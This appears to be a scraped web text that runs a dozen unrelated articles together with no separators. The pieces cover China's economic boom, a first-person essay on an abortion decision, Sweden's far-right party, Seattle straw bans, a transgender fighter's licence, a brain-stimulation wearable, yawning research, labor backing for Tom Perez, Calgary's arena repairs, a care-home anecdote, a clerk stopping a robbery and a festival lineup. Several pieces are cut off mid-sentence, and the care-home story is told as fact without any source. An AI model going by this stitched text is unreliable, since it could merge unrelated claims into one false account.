It's not just the deference and respect with which politicians are treated in the world's most populous nation, or even that, unlike their Western counterparts, they still seem to have some control over their country's destiny; it's also the sheer scale and speed of development, which leaves even the most cynical of observers completely overawed. It's scarcely believable.
If Boris Johnson were mayor of Tianjin, a vast urban sprawl to the east of Beijing where I've been staying for the past week, he'd already have his new airport in the Thames estuary up and running. He'd also have a new metro system, Crossrail, a couple of nuclear power plants and high-speed rail links to all the UK's other major conurbations for good measure.
But alas (or perhaps thankfully, depending on your point of view), Britain is not China, and rather than a future of ever-onwards-and- upwards infrastructure development to look forward to, Mr Cameron must resign himself instead to years of penny pinching and swingeing public sector spending cuts.
This bleak contrast in disposition is of course not unique to Britain; to a greater or lesser extent it afflicts most advanced economies. China wasn't wholly immune to the financial crisis that swept the world economy. Factories closed and millions lost their jobs as global trade ground to a halt.
But the impact was relatively mild by Western standards. Growth slowed to what, for China, was an unacceptably low 6.1 per cent, yet, following a massive fiscal and monetary policy response, the problem fast became one of overheating instead.
How to slow that growth a little without inducing a crash landing is the sort of
challenge that Western policymakers can only dream of. The Asian crisis of the mid-1990s taught China to plan for catastrophe, and it prepared well. When the storm blew in from America, it had the resources to counteract the damage.
Some of the results of this response can be seen from the state-of-the-art bullet train, as it speeds from Beijing to Tianjin – the smog-cloaked swamp is dotted with a seemingly random array of towering new satellite developments, all linked by an ever growing spaghetti of superhighways.
These roads to nowhere have to make you wonder about the sense and commercial viability and sustainability of much of this latest orgy of development – at some stage there will be a massive property bust, that's for sure – but for the moment, China is firing on all cylinders. The mantra is: build the infrastructure and the rest will follow.
Given all this "make work" spending, it's hard to argue that China isn't doing enough to stimulate domestic demand; to go even faster would be madness. Yet that doesn't stop populist US politicians from whingeing. The financial crisis has failed to correct America's massive trade deficit with China. Complaint over Beijing's use of currency manipulation to support its export industries has reached new levels of vitriol.
It's a story that grabs headlines, yet it is also one that in time will be seen as largely irrelevant. In the meantime, there is an unmistakable swagger about Chinese officialdom, verging on arrogance or even complacency. The "other superpower", as Chinese decision-makers tend now to call America, lies wounded and becalmed, bereft of political leadership, struggling to maintain an increasingly unaffordable entitlements system, and apparently unable to dig itself out of the economic quagmire.
China by contrast, has political leadership and economic momentum. There are no legacy costs, no rights, and no entitlements to hold the march of progress back. China's unique brand of authoritarian, or state-controlled capitalism, seems to be triumphing over the disgraced free market system of the West. If the past 100 years have been the American century, the future appears to belong to Asia.
That at least is one way of looking at it. It's also the wrong way. The most striking thing about the big cities of China is not the gleaming new skyscrapers that line the horizons, or even the contrast between Asian self-confidence and Western pessimism, but rather just how quickly the world is homogenising.
Only 30 years ago, China was a closed society, and a totalitarian state to boot. Many relics of this bygone age remain, not least the Communist Party's iron grip on power, but in most respects it's hard to credit today's dynamic and increasingly open China with its soviet-style past. China's burgeoning, urban middle class looks much the same in its aspirations and concerns as its Western counterpart, only it's a great deal larger.
What makes the debate about currency manipulation, and about the relative merits of authoritarian versus laissez faire capitalism, largely irrelevant is that we are fast moving into an age where business no longer recognises the importance of borders.
Most things can now be made almost anywhere, and the same goes for much service provision. In socio-economic terms at least, differences in wealth and income between nations have become far less important than differences within countries.
That's why the next 100 years is unlikely to be either American or Asian, still less European, but the world's first truly "global century".The only good abortion is my abortion
As I write this, it is 1:17 am on Wednesday, June 20th, 2012.
I am lying awake in bed, trying to decide whether or not to have an abortion.
Of course, we don’t call it an abortion. We call it “a procedure” or a D&C. See, my potential abortion is one of the good abortions. I’m 31 years old. I’m married. These days, I’m pretty well off. I would very much like to stay pregnant right now. In fact, I have just spent the last year—following an earlier miscarriage—trying rather desperately to get pregnant.
Unfortunately, the doctors tell me that what I am now pregnant with is not going to survive. Last week, I had an ultrasound, I was almost 6 weeks along and looked okay. The only thing was that the heartbeat was slow. It wasn’t a huge deal. Heartbeats start slow, usually around the 6th week, and then they speed up. But my doctor asked me to come back in this week for a follow up, just to be sure. That was Tuesday, yesterday. Still my today. The heart hasn’t sped up. The fetus hasn’t grown. The egg yolk is now bigger than the fetus, which usually indicates a chromosomal abnormality. Basically, this fetus is going to die. I am going to have a miscarriage. It’s just a matter of when.
Because of these facts—all these facts—I get special privileges, compared to other women seeking abortion in the state of Minnesota.
Nobody has to tell my parents. I am not subject to a 24-hour waiting period. I do not have to sit passively while someone describes the gestational stage that my fetus is at, presents me with a laundry list of possible side-effects (some medically legit, some not), lectures me on all the other options that must have just slipped my mind, or forces me to look at enlarged, color photographs of healthy fetuses.
Because I have health insurance, I can afford a very nice OB/GYN whom I chose and who does not exercise her right to deny me this option. Thankfully, I don't live in a state where she can legally lie to me about the status of my fetus, to dissuade me from having an abortion.
Most importantly, from my perspective, I have the privilege of a private abortion in a nondescript medical office. I will not have to go to an abortion clinic. I will not have to walk by any protesters—not even Charlie, the one guy who is paid to protest every day outside Minneapolis’ abortion clinic, where I have volunteered as an escort in the past.
Most of these privileges boil down to the fact that, as far as my doctor and my medical billing are concerned, this is not an elective procedure.
But here’s the thing. It is elective.
I don’t have to do this. I am making a decision. Plain and simple. An incredibly awful, heart-wrenching decision with positives and negatives no matter which option I choose.
Having an abortion would get this miscarriage over with quickly. That’s important, as I’m leaving for a speaking engagement this weekend and am rather apprehensive about the risk of miscarrying, all by myself, in Aspen, Colorado, in an environment where I am supposed to be on professional behavior. (Uncontrollable sobbing doesn’t really fit with the image of competent journalist.) Most likely, there would be less pain and less bleeding. That’s also a big deal. My last miscarriage happened at 4 weeks along. I woke up in the middle of the night wanting to scream and almost vomiting from the pain. I bled for nearly two weeks after that. My guess is that these effects are not weaker for a 7-week miscarriage. Finally, even if I wait this out, there’s still a pretty decent chance that I end up having to get an abortion after all. It’s not uncommon for miscarriages like this to take too long to start, or not finish completely on their own. With just enough bad luck, I might get to experience both options.
On the other hand, I’m scared. This is surgery. Surgery is scary. There are small but very real-feeling risks involved: Reaction to anesthesia, infections, and in rare cases some women develop scar tissue in their uterus that can make it hard to get pregnant again. That might be the biggest fear for me, honestly. It took 5 months to get pregnant the first time. It was a year after that miscarriage before this pregnancy happened. I know that, for the most part, this is random chance. I have bad luck. But part of me is terrified of anything that might make this process harder than it already is. Also: Psychologically, I’m still clinging to this pregnancy. I want the doctors to be wrong. I want to have one of those miracles where everything turns out to be okay and I am relieved to find that I haven’t actually lost everything.
Right now, at 2:06 am, I’m leaning towards a compromise. I think I probably want the abortion. I don’t think I want to have to jump from thinking I had a viable pregnancy to having an abortion in a span of two days. My husband has offered to cancel his own business trip and come to Aspen with me. Maybe I’ll take him up on that, and wait until I get home on Monday to do a final ultrasound and get the abortion. I have a list of questions to ask my doctor in the morning. This decision is entirely dependent upon her answers, but I think it’s the right one for me.
That was a lot of TMI, I know. But I am telling you this to press a point.
I am making a decision.
The only thing that makes my abortion decision different from anyone else’s abortion decision is that some people who are against abortion will think that my abortion is acceptable.
Some. Not all. Maybe not even most. I honestly have no idea. My life is not in danger, after all. I have not been raped. I merely think that I might not want to sit around, feeling the symptoms of pregnancy, for god knows how long, until a heartbeat stops and the ripping pain kicks in and the blood starts flowing on its own.
Let me be clear. I have options. It’s just that they all suck. That’s kind of how bad news related to pregnancy works.
If you are pregnant, and do not want to be, all of your options suck.*
If you cannot seem to get pregnant, and want to be, all of your options suck.**
If you are pregnant, and won’t be soon, all of your options suck.
There is no universal good option. There is no universal bad option. But for each individual there is an option that is the least bad. Here is why I am pro-choice. If someone has to make a decision and the best they can hope for is the least-bad option, I don’t believe I have any business making that choice for them.
My abortion is not a good abortion. It's just an abortion. And there's no reason to treat the decision I have to make any differently than the decisions made by any other woman.
*I’ve known women who had abortions, women who gave a baby up for adoption, and women who raised an unintended baby on their own. None of those options are easy. None of those options are any less painful, traumatizing, or side-effect filled than any of the others. They only seem that way to people who haven’t experienced them.
**Whether you try low-level infertility treatments, IVF and donors, start looking for an adoption |
, gaining support with a message against the political establishment, multiculturalism, and immigration that appears to be resonating with many disillusioned Europeans.
In liberal Sweden, the far-right Sweden Democrats, a party with a neo-Nazi history, won 20 seats in the Sept. 19 parliamentary vote, enough support to leave the leading center-right coalition without a governing majority. While the SD, which campaigned that it would cut immigration rates by 90 percent, is widely castigated as “racist” and “Islamaphobic,” it nonetheless struck a deep chord among some in this country known for its political correctness.
Europe’s far-right parties comprise “an outcry of people that felt they were forgotten by the mainstream,” says Cristian Norocel, a political scientist at both Stockholm University and Finland’s University of Helsinki.
In Denmark, the Netherlands, Hungary, and Switzerland, far-right populist parties have similarly gained new footing, exercising their political capital to advocate anti-immigration platforms, and often focusing on Muslims, tougher stances on law and order. Their steady rise comes as much of the Continent is mired in recession, governments having made deep cuts in social programs and threatening more to come.
Though Sweden's economy is growing at more than four times the European Union average, new "economic and social reforms" here mean that many Swedes will not share in this prosperity.
Spontaneous protests in the streets followed last month's election, with thousands of Swedes railing against the SD. All seven of Sweden’s major political parties have vowed to refuse cooperation with the SD. But despite all the hand-wringing among both progressives and mainstream conservatives, the SD has suddenly become a political force to be reckoned with.
The origins of the far-right Sweden Democrats
The SD was founded in 1988 and its current leader, Jimmie Åkesson, joined in 1995, a period when Nazi uniforms were still seen at its meetings. With a determination to enter parliament, the party distanced itself from the Nazi imagery and adopted a public profile that appears considerably closer to the Swedish mainstream, adamantly claiming that it is a “normal party.”
According to SD's website, the party rejects "multiculturalism," attributes increased crime to immigration, calls for an end to "public support for immigrant organizations," adding that "all other activities aimed at promoting foreign cultures and identities in Sweden should be canceled."
It also wants to outlaw “religious buildings, with a non-Swedish building style, strange architecture” and forbid public workers from wearing “conspicuous religious or political symbols, such as a headscarf or turban." What’s more, it calls for the government to support immigrants who want to return to their homelands.
Mr. Norocel called SD a "wolf in sheep's skin” and says that it’s "very skillful at picturing a scapegoat" by targeting segments of Swedish society outside the country’s traditional mainstream.
“In 2001, they suddenly got rid of all the uniforms, the swastikas, the symbolism that scared so many voters,” notes Mikael Sundström, a political scientist with Lund University in Sweden. He says they have cultivated an image that adds “respectability to an issue [surrounding multiculturalism], but they still want to kick people out and they want to close the borders … in that they align themselves very much with the hard right.”
Sweden's percentage of foreign-born residents has risen steadily, from 4 percent in 1960 to 14.3 percent today. Currently, that means 1.3 million Swedish residents were born outside the country.
Return to Sweden's welfare state?
But while the SD is appealing to anti-immigration sentiment, it’s also winning support from Swedes who are concerned about the outsourcing of jobs, particularly in manufacturing, and the erosion of the social safety nets that were once taken for granted.
The SD has “managed to fish in very murky waters on both the left and the right. The party does not have just a racist political agenda... it is also a matter of welfare,” says Mr. Norocel.
Over the past four years, the SD and other government critics have lashed out against the current center-right governing coalition for dismantling Sweden’s “welfare state” amid waves of tax cuts and efforts to privatize the public sector. Pension benefits, unemployment benefits, and a host of social programs have all taken a hit.
Agneta Börjesson, general secretary of the progressive Swedish Green Party, observed that "the major parties have not been able in addressing the negative impacts of globalization," seeing this as the dominant reason behind SD's rise. She spoke of "Big Companies" moving offshore, "schools where you have a lot of different cultures," as issues that remained unaddressed.
Political scientists Sundström and Norocel separately shared similar globalization concerns, seeing the far right's rise as rooted in globalization's negative effects. Börjesson further drew a line between SD's leadership and its voters, alluding to the latter group as people who – personally or professionally – were swayed after experiencing "something bad happen to them."
Mr. Åkesson and the SD have promised a return of the welfare state, or the “Folkhemmet” (People’s Home), that was originally championed by Sweden’s Social Democrats since the 1920s. But the SD wants to ensure this public welfare system includes only those it defines as “ Swedish.”
Norocel says that many SD supporters are drawn by the social welfare message and not the discourse that its critics call racist. Still, he says, the party’s nationalism, its stance on immigration and perspective upon cultural stereotypes, plus its embrace of social programs, parallels many aspects of “very early National Socialism (Nazism) in Europe."
The SD's newfound political clout
Mr. Sundström, the political scientist, observed that some Swedes have wanted to discuss immigration, but that the political establishment’s down playing immigration questions has allowed SD “to rise and own that issue.” But while it's still uncertain what impact the SD rise will have on Sweden’s overall political tilt, their electoral success does give them more power in the country’s court system.
In Swedish courts, particularly where criminal and asylum cases are handled, a traditional judge will decide a case in conjunction with two or three lay judges that are political appointees.
The SD “might use the courts as a political arena in a way that hasn’t been common in Sweden,” says associate law professor Eric Bylander of the University of Göteborg, Sweden. This may have a chilling effect among Sweden's foreign-born residents, especially among the country’s estimated 400,000 Muslims.
In October 2009, SD leader Åkesson wrote in Scandinavia's largest paper, Aftonbladet, that “Muslims are our biggest foreign threat.” The party has also released highly debated statistical reports implying that new immigrants (primarily from the Middle East) are responsible for increases in serious crimes. A local SD leader also made headlines recently by claiming that many of those from the Middle East have a "gene" that makes them more violent.
With regret obvious in her voice, the Green Party's Börjesson noted that, overall, Sweden has become “a country of more fear.” Citing the fading memories of WWII and the 1930s, political scientist Sundström emphasized that if the far right could rise in Sweden, “it can happen anywhere.”× Are straws the next plastic bags? Seattle Aquarium, others ditch the popular utensil
SEATTLE — #StopSucking.
That’s the message the Seattle Aquarium and some local business hope to get across.
No, it’s not derogatory slang. It’s a message to move away from straws and other single-use plastics.
According to the National Park Service, Americans use about 500 million drinking straws every day. Based on national averages, this reportedly equates to a single person using about 38,000 straws in their lifetime.
Many of these straws are ending up in the ocean.
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"By 2050, if we don't do anything to clean up the oceans, there will be more weight in trash and plastic in our oceans than there will be fish," Angie Kemp, the general manager of Seattle Aquarium's Food and Beverage said.
In June, the Seattle Aquarium moved away from plastic. They stopped selling plastic drink bottles, and they moved to paper straws. It's all in an effort to help save the ocean from the ever-increasing scourge of polluted plastic.
"People are generating a lot of excess plastic," said Jim Wharton, the aquarium's director of Conservation and Education. "Some of that gets into the landfills, very little of it gets into recycling and a lot of it gets into the environment."
Seattle Aquarium is not alone in moving away from the plastic straw. Jillian Henze of the Seattle Restaurant Association says a campaign called "Strawless in Seattle" is planned for September. As many as 500 local groups and restaurants will stop using plastic straws for the month.
Even for restaurants that still use plastic straws, Henze said, many are trying to limit straw use.
"They are straw conscious and don't put them in mixed drinks, etc.," Henze wrote to Q13 News.
But don't worry, straw lovers.
The city of Seattle says there's no plans for a city-wide ban on plastic straws anytime soon.
Will Lemke, with the Seattle Mayor's Office, told Q13 News there is no ordinance on the table, and a straw ban is not on the city's radar.Transgender fighter Fallon Fox has tackled the latest obstacle in her hope to remain a competitor in the state of Florida, and she will be allowed to compete at her next scheduled bout for Championship Fighting Alliance on May 24.
On Tuesday, the Florida Boxing Commission closed the investigation into Fox's licensing application, which means she will be able to compete in the state in future fighting events.
Fox was issued a fight license by the state in early March, but the application she submitted was under review for "alleged discrepancies."
"Fallon Fox was issued a Florida license on March 2, 2013. Our Department had been investigating alleged discrepancies in the information provided on the application, and during that investigation Fox’s license was not suspended or frozen; it was still active. The investigation was concluded yesterday," said Sandi Poreda, Director of Communications for the Florida Department of Business and Professional Regulation, in a statement emailed to Bleacher Report on Wednesday. "Currently, there is nothing that would prohibit her from being proposed on a fight card in our state. We have not received any fight cards for future fights for her at this time."
Fox has been at the center of controversy for the last several weeks after she revealed that while born a male, she underwent extensive treatment and eventually surgery to become female. The 37-year old fighter was competing in the CFA women's 145-pound tournament where she recently knocked out her opponent in just 39-seconds.
On her application for a fight license, Fox had not disclosed her medical status as a transgender female.
Upon further review, the Florida commission didn't believe there was enough information to support further action.
"The evidence does not support prosecution of the specified violations of Chapter 548, Florida Statutes, or the rules promulgated thereunder. Therefore this case should be closed," read a statement by Roger Maas, Assistant General Counsel to the Florida commission.
The MMA world has been buzzing ever since she revealed her transgender status with everyone from UFC commentator Joe Rogan to former Strikeforce champion Miesha Tate weighing in on the subject of whether Fox should be allowed to fight women having been born a man.
While several doctors have argued the point of Fox's body chemistry as to whether or not she should be allowed to fight, the decision to allow her license to remain in tact ultimately came down to the Florida commission who will oversee her next scheduled fight.
That decision has now been made and Fox is cleared and her license remains valid. Her next opponent is scheduled to be 2-1 fighter Allana Jones, who stated as of earlier this week that she would face Fox in the next round of the tournament in May.
The finals of the tournament could come into some question however as Peggy Morgan, who sits on the other side of the bracket opposite of Fox, has stated that she will not face her should the two of them be paired together in the finals of the tournament.
"I do not think there is sufficient hard evidence to show that Fallon does not have physical advantages over the women she has fought," Morgan said in a statement via her management's website. "I understand why people are advocating for Fallon and I appreciate that it is important to protect her rights, but I think it should be just as important to protect the safety of the other women in the tournament. Until I am presented with conclusive evidence that a fight with Fallon would, in fact, be fair, I will not be entering the cage with her."
The CFA tournament will continue regardless with their next event in late May and now Fox has been officially cleared to return to action for her next fight regardless of who she may or may not face if she makes it to the tournament finals.
Damon Martin is a Featured Columnist for Bleacher ReportA Los Gatos, Calif., startup is developing a wearable that promises to alter state of mind by sending ultrasonic or fine electric currents through the brain, building a consumer product on top of a nascent area of neuroscience.
Thync, which has been operating in stealth mode for the last three years, will announce on Wednesday that it has raised $13 million from Khosla Ventures, Sling Media co-founder Blake Krikorian and other undisclosed investors.
The company isn't yet providing images or many details about the product itself, which isn't expected to reach the market until next year. But it says its "neurosignaling algorithms" can help people feel calm or energized.
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"We're not wired to call up our best focus, energy and self control at will, but we know we have them inside us," Chief Executive Isy Goldwasser said in an interview. "The power of neuroscience and neurosignaling is, we can access the pathways and regions that trigger those modes."
There is a growing body of scientific literature exploring the possibilities of brain stimulation for improving cognition, treating depression and much more, with some positive results. There's also a budding DIY movement that relies on components from Radio Shack.
But some researchers have warned that bigger and better studies are required to understand the mechanisms at play as well as the possible risks. A Wired story on the subject earlier this year pointed out that one study suggested improvements in one area could come at the cost of other cognitive functions.Open your mouth wide, stretch the muscles of your jaw and upper body, take a slow breath in, and then exhale quickly. What have you done? You have yawned. Many animals, including humans, yawn. They do it involuntarily.
The signal that initiates a yawn comes from a particular brain region, the PVN (for paraventricular nucleus) of the hypothalamus. It stimulates other brain cells in both the brain stem and the hippocampus to produce the muscle contractions we call a yawn. The PVN also makes chemical messengers that may induce yawning. Its production of one called ACTH (for adrenocorticotropic ) increases dramatically during and just before waking--which may explain why we yawn at morning rise.
But why do you yawn when you're not sleepy? Despite what you may have heard, yawning has nothing to do with increasing the body's oxygen supply. In experiments, subjects yawn just as much in oxygen-rich air as they do in an oxygen-poor atmosphere. Yawning is, however, a response to boredom. When researchers showed students ages 17-19 music videos and color bar test patterns, those who saw the test patterns yawned nearly twice as often as those who watched videos, and their yawns lasted longer.
But boredom isn't the only yawn factor. If someone you're conversing with yawns, chances are, you will too. "Yawning is extraordinarily contagious," says Robert Provine, a pioneer of yawning research. "Seeing a person yawn triggers yawns. Reading about yawning causes yawns. Sitting in a room thinking about yawning triggers yawning," he says. Some experts think this happens because yawning evolved as a means of communication. It may help animals, including humans, coordinate their behavioral responses to changing conditions in.
That may explain why some people are more susceptible to contagious yawning than others. Psychologist Steven Platek and his at Drexel University in Philadelphia gave 65 college students tests. The tests measured their, or how well they perceived and responded to the mental states of other people. Platek then observed through a one-way mirror (so his subjects didn't know they were being watched) how the students responded as they watched videos of people yawning. The students who scored high for empathy yawned more often in response to the videos than their less compassionate peers. This suggests that yawning is a form of social communication.
But there's more. Now a new theory suggests that yawning cools the brain, and the sinuses may play a key role. In the current edition of the journal Medical Hypotheses, Andrew Gallup of Princeton University and Gary Hack of the University of Maryland argue that yawning helps to regulate the brain's temperature. "The brain is exquisitely sensitive to temperature changes and therefore must be protected from overheating," they write. "Brains, like computers, operate best when they are cool."
Gallup and Hack propose that the walls of the human maxillary sinus (pictured in green here) flex during yawning like a bellows, which in turn facilitates brain cooling. The theory helps explain the function of the human sinuses, which is little understood and hotly debated.
Gallup has conducted experiments to test the yawning theory. In one, he implanted thermocoupled probes in the frontal cortex of rats to measure brain temperature before, during, and after yawning. He found that rapid increases in brain temperature precede yawning and decreases in brain temperature occur immeidately after.
Gallup has also published a case study of two women with chronic and debilitating bouts of yawning 5 to 45 minutes in length, occurring as many as 15 times per day. Both women showed signs of dysfunctioning brain temperature regulation. Mirroring the results of the brain temperature study, one woman took oral temperature measurements before and after yawning episodes, which showed a significant drop in temperature. After receiving that information, the woman reported that methods of behavioral brain cooling provided relief or postponement of her yawning symptoms.
The brain-cooling theory of yawning is more than a curiosity. It may have practical medical applications. Bouts of excessive yawning often precede the onset of seizures in epileptic patients, and the may predict the onset of pain in people with migraine headaches. Hack and Gallup predict that excessive yawning might be used as a diagnostic tool in identifying dysfunction of temperature regulation. "Excessive yawning appears to be symptomatic of conditions that increase brain and/or core temperature, such as central nervous system damage and sleep deprivation," Gallup says.
For More Information:
Faith Brynie. 101 Questions about Sleep and Dreams That Kept You Awake Nights...Until Now.
R. R. Provine, "Yawning: Effects of Stimulus Interest," Bulletin of the Psychonomic Society (volume 27, 1989), pp. 125-126.
R. R. Provine, "Contagious Yawning and : Significance for Sensory Feature Detection, Motor Pattern Generation, Imitation, and the Evolution of Social Behavior," In C. M. Heyes and B. G. Galef, eds., in Animals: The Roots of Culture, (New York: Academic Press:, 1996), pp. 179-208.
Steven M. Platek, S. R. Critton, T.E. Myers, and G. G. Gallup, Jr., "Contagious Yawning: The Role of Self-Awareness and Mental State Attribution," Brain Research (July 15, 2003), pp. 223-227.
Andrew C. Gallup, "Yawning as a Brain Cooling Mechanism: Nasal Breathing and Forehead Cooling Diminish the Incidence of Contagious Yawning,"
2007. 5(1): pp. 92-101
Andrew C. Gallup and Gary D. Hack, "Human Paranasal Sinuses and Selective Brain Cooling: A Ventilation System Activated by Yawning?" Medical Hypotheses (December 2011) 77 (6): 970-973.
Newswise.
Photo Credit (sinuses): Lawrence M. Witmer, Ph.D., Ohio University.By Mike Elk
Payday has learned that in recent days top officials within organized labor have increasingly been pushing Labor Secretary Tom Perez as their preferred choice for Hillary Clinton’s pick for Vice President, arguing that he could be the forceful voice within the White House that organized labor has long desired.
While many in organized labor initially favored Elizabeth Warren as Clinton’s V.P – and many in the rank and file continue to favor the progressive senator from Massachusetts – it appears increasingly unlikely that Warren will be picked as Vice President. The relationship between Clinton and Warren seems to be cold, given Warren’s past public criticism of Clinton selling out to Wall Street. Furthermore, Clinton has signaled that she wants a Vice President who will be a partner in governing, and fears remain that Warren would not fall in line with Clinton’s wishes.
Though Perez did not know Clinton before the past year, both Hillary and Bill Clinton have stated that they have developed a close and intimate relationship with the Secretary of Labor over the past year of campaigning. Perez has traveled with Clinton extensively and helped shore up labor support for her campaign during the primary. POLITICO reported this week that Clinton has spent far more time campaigning and meeting in private with Perez that any other potential running mate.
Many in organized labor say that picking Perez as Vice President would show that Hillary was serious about being a champion of organized labor if elected President.
“With Joe Biden, we had a messenger boy. With someone like Tom Perez, we would finally have a Vice President, who would know how to get stuff done for labor within the White House,” one top labor official privy to discussions within the AFL-CIO told Payday Report.
Tom Perez has won praise from organized labor for his role as Secretary of Labor and has been labeled by some as “the most important Labor Secretary since Frances Perkins.”
“[Perkins] was the gold standard. If she is gold, [Perez] is certainly silver,” Christine Owens, executive director of the National Employment Law Project, told the American Prospect in a lengthy profile in June.
As Secretary of Labor, Perez has used aggressive administrative action to bypass legislative inaction on a number of labor’s top priorities. After nearly 40 years of delay, Perez was able to finally shepherd through a new OSHA rule regulating the use of silica dust, known to create silicosis and cancer. Perez also beefed up the Department of Labor’s wage and hour division and passed a landmark rule that would make corporations disclose the outside union busting consultants and law firms they employ.
By far, though, Perez’s most impressive accomplishment was extending overtime protections to all salaried employees making less than $47,476 a year, which will take effect on December 1. The previous threshold had been set at $23,660 a year. According to an analysis by the Economic Policy Institute, the new overtime rule will be a de facto pay raise for approximately 12.5 million American workers.
Given Perez’s deep knowledge of the Department of Labor and relationships with organized labor, many in the labor movement feel that he would be able to make sure that labor’s priorities were addressed in a potential Clinton administration.
“The guy knows how to get stuff done and we have no doubt that as Vice President he would be able to get a lot more done for labor,” according to one top labor official in an interview with Payday Report.
Not only has Perez won praise from organized labor, but he has been seen as a champion of the disabled. As Secretary of Labor, Perez has worked hard to close the loophole in federal labor law that allows approximately 400,000 disabled workers to be paid below the minimum wage. In 2013, Perez initiated enforcement actions in conjunction with the Department of Justice to crack down on employers paying disabled workers below the minimum wage without providing them with true job training opportunities.
In 2014, Perez barred federal contractors from paying disabled workers employed in service professions from being paid less than $10.10. The move was hailed as the most important change to disability employment law since the Americans with Disabilities Act and has led to a rush of states outlawing the use of the subminimum wage in their employment practices.
“Tom Perez has been the greatest disability rights hero of the Obama Administration,” says Ari Ne’eman, who served in the Obama administration for five years on the National Council of Disability.
“Under his leadership at the Justice Department Civil Rights Division, he drove unprecedented positive change in disability services and ADA enforcement across the country,” says Ne’eman. “I think the disability rights community would be thrilled to see him continue his leadership in a new capacity, whatever that may be. His record on these issues would drive turnout from sections of the electorate that others haven’t known how to reach.”
It remains unclear if Hillary Clinton will pick Tom Perez for her running mate. What is clear, from conversations with multiple labor officials, is that organized labor is increasingly pushing the Clinton campaign to pick Perez.
The Clinton campaign had not responded to requests for comment on this story at the time of publication.
Mike Elk is an award-winning labor reporter, who previously served as senior labor reporter at POLITICO and as an investigative reporter at In These Times. Based in Chattanooga, Tennessee he is co-founder of Payday Report.Colleen Schmidt, CTV Calgary
Calgary Flames President and CEO Ken King says crews are making huge progress and that he expects the Scotiabank Saddledome will be ready in time for preseason play in September.
King told CTV Morning Live that crews have done unbelievable work restoring the facility and that at the half way point he is optimistic the building will be ready for the fall.
“We made a call yesterday that, based on our best information, we think we can be back in business by September 1st,” said King.
The 30-year-old building was hit hard by the floods at the end of June and water destroyed most of the mechanical and electrical infrastructure.
King says he believes the 19,000 seat arena will be fully operational when fans arrive for the preseason games in the fall.
“From a fans standpoint, we believe that it will be. I mean there are no guarantees in life, but the fact is, shelving, warehousing and some of those things, anything that we can subordinate a bit in order to get the primary work done is what will be done, but from a public’s standpoint it would be virtually impossible for them not to see a fully functional building,” said King.
He says there will still be a lot of work going on behind the scenes once the facility is reopened and that they do have a backup plan to help keep things running smoothly.
“We’ve got an ice plant that we’ve brought in and even a portable kitchen and a portable production facility if we need it from a video standpoint," said King "We hope that they’re redundant, that they’re backups, and that everything that we have ordered and is under delivery and being prepared for installation will function as normal but you can appreciate the order of magnitude, the number of things that have to fall into place, so we thought it prudent to put some backup systems in place.”
King says the players have not been affected and will attend training camp as per usual.
“Our training camp is scheduled for Winsport, which is not unusual,” said King. “We have taken our training camp out before. Obviously when we were making the arrangements, without complete knowledge, it simply was prudent to look at an alternative and we did. We’re happy to be there. We had our development camp there a couple of weeks ago. We love Winsport so that’s where our training camp will be this year.”
The Flames are scheduled to play four preseason games in the Dome in September and the home opener against the Canucks is set for October 6, 2013.“Fight Against Stupidity And Bureaucracy”
This week seems to be turning into a bit of a tribute week. Yesterday I paid tribute to Stephen Pile who was the worst founder of a club ever! Today I would like to take a little time to pay my tribute to Mr Harry Meadows.
I’ll come back to Harry in a moment. First a general comment. Old folk are peculiar at times. As I get older myself I understand more and more why. But despite my tolerance level for idiots heading inexorably towards zero, I’d like to think that even in my later years, if I am spared, I would retain my sense of humor. I would hate to just become another miserable old ‘git’.
Speaking of which, when one of my aunts died a lot of years ago, I was helping to make the funeral arrangements, part of which involved organizing the undertaker. When he arrived at the Nursing Home she had been staying in to do his thing I noticed that he was in a van and not a hearse.
Always curious, I asked him why this was the case. “Oh dear,” he said. “You have no idea. We were forced to buy the van for coming to places like this. If we arrived here in the hearse it caused so much distress and panic amongst the residents who all thought their time had come and we were there for them that the Home owners all demanded that we get a different form of transport or lose the business.” So now you know.
Back to Harry Meadows.
I have no doubt that most, if not all, of you will never have heard of Harry. He wasn’t a famous man, didn’t invent anything special, wasn’t a public personality, in fact he was just an ordinary person like the rest of us.
Except one thing he did have in common with me at any rate was a sense of humor, and one that was right on the edge.
Harry was a resident at an old peoples’ home in the 1960s. It was called the Haslemere Home for the Elderly and it was located in Great Yarmouth in Britain. Haslemere, at that time anyway, had the largest elderly population in the country.
The Home had first hit the headlines in September 1960, when another of the residents, 81 years young Gladys Elton, decided it would be good fun and would break the monotony of the place if she performed a striptease, which she duly did.
Unfortunately Gladys must have been hot stuff, too hot in fact, because the excitement she generated with her performance was too much for one of the male residents who as a result died of cardiac arrest. Five more of the inmates of the Home also had to be treated for shock.
Old Gladys must have been quite a ‘goer’!
So what about Harry Meadows?
Well Harry didn’t take part in the striptease, but the following year, in 1961, Harry who at the time was 87 years old, thought it would be funny if he dressed up as the Grim Reaper. He duly did so and then from outside the Home, peered through the windows complete with a scythe in hand.
Unfortunately Harry had an even bigger effect on the inmates than Gladys. This time three of them died of shock at seeing the Grim Reaper outside their window!
The Home was subsequently closed. I don’t know what happened to Harry.
Is this tragic or funny? To me it’s funny that it happened and tragic that there are not more people in the world like Gladys and Harry.PITTSBURGH (KDKA) – He’s a local store clerk by day, a boxing champion by night. But his act of bravery could cost him his Olympic dream.
Police say Leverett Johnson walked into this 7-Eleven store on the Pitt campus looking to rob it.
Clerk Eric Sydnor was on duty in the store when Johnson confronted him.
Sydnor told KDKA’s Ross Guidotti, “It’s like one of those things where it was a blur what exactly was going on.”
Sydnor says Johnson pointed the pistol at him demanding money, but apparently had no idea who he was dealing with.
That’s because Sydnor is a Golden Gloves champion with hard hands.
“I won the Golden Gloves once, and made it to the finals three times.”
When asked how he handled Johnson, Sydnor said, “He got slammed.”
Syndors trainer Jose Caraballo says Johnson, “picked the wrong guy and store to walk into that night.”
But, the young boxer didn’t come out of the fight unscathed.
Johnson allegedly bit Sydnor’s hands.
Sydnor says he’ll be fine and ready for the U.S. Olympic Boxing team trials.
Sydnor says he’s no hero, and his ring and game skill matter less than what’s in his heart.
“The fact that I’m a boxer had nothing to do with anything. It’s just what’s right, and what’s wrong.”Las Vegas’ Life is Beautiful Music Festival has revealed its 2014 lineup. Now in its second year, the festival will take place October 24th – 26th in downtown Las Vegas.
Foo Fighters, Kanye West, OutKast, and Arctic Monkeys top this year’s exciting lineup. Other notable acts include Lionel Richie, Skrillex, The Weeknd, Alt-J, The Roots, TV on the Radio, Broken Bells, The Flaming Lips, Girl Talk, Phantogram, Jenny Lewis, tUnE-yArDs, MØ,
